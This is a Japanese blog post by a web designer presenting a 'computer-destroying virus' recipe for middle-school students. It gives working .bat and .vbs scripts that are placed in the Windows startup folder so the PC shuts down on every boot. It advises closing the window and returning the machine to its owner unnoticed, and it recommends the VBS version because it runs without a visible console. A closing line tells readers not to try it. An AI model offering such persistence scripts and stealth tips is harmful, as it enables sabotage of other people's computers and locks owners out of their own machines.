ウェブ家の備忘録

ウェブデザイナーの備忘録

夏休みの自由研究に最適、中学生でもできる1分で簡単コンピューター破壊ウィルス作り

 


 実家の塾の中学一年の子供たちに夏休みの自由研究にコンピューターウィルスが良いんじゃないかと提案したのですが、今回は理科の授業で学んだ範囲でしか自由研究にしてはいけないとのことでしたので、残念ながら私の提案したコンピューターウィルスは却下されました。
 しかしいつか彼らにコンピューターウィルスを教える機会があるんじゃないかと思い、その時のために備忘録として安易コンピューターウィルスの作成例を載せます。
 下記のコンピューターウィルスはwindows起動直後にシャットダウンを命令するという内容。

1.window+rで「ファイル名を指定して実行」を開き、「shell:startup」と入力してOKしてスタートアップを開く。
2.スタートアップに右クリックでテキストを作成、下記のbatファイルまたはvbsファイルを作る。

2-1.batファイルでウィルスを作る


PC起動時にシャットダウンします.bat

@rem 0秒でシャットダウン
shutdown.exe /s /t 0
@rem 再起動の場合は下記
@rem shutdown.exe /r /t 0



解説を抜けば下記


a.bat
shutdown.exe /s /t 0



2-2.vbsファイルでウィルスを作る


PC起動時にシャットダウンか再起動します.vbs
Dim ws
Set ws = WScript.CreateObject("WScript.Shell")
ws.Run "%WINDIR%\system32\shutdown.exe -s -t 00", 0
' -s を -r にすれば再起動。
' -t はタイムアウト(秒)



3.シャットダウンして起動するか、再起動をすれば2のウィルスが起動する。
スタートアップのウィンドウを消してそのまま持ち主に返すのが場の流れとしてばれにくくて良い。
 
   ・留意点
 batファイルで作った場合はコマンドプロンプトが一瞬表示されるので感づかれやすいです。またコマンドプロンプトが表示されているその一瞬の間に右上の「×」をクリックできれば回避できてしまいます。まあほぼないでしょうけれども。
 vbsファイルの場合はbatファイルと違ってコマンドプロンプトが表示されないため、ばれずに実行されます。
 まあbatファイルの方が覚えやすくて良いんですけどね。

 自分の家のPCで試さないでください。というかどのPCでも試そうとしないでください。
 この自作ウィルスに感染したPCを直すためにはCドライブにしているHDDを外して外付けにして他のPCにつないでスタートアップを見て自作ウィルスを削除するという物理的にめんどくさい工程をしなければならないです。直すのに精神的に磨り減ります。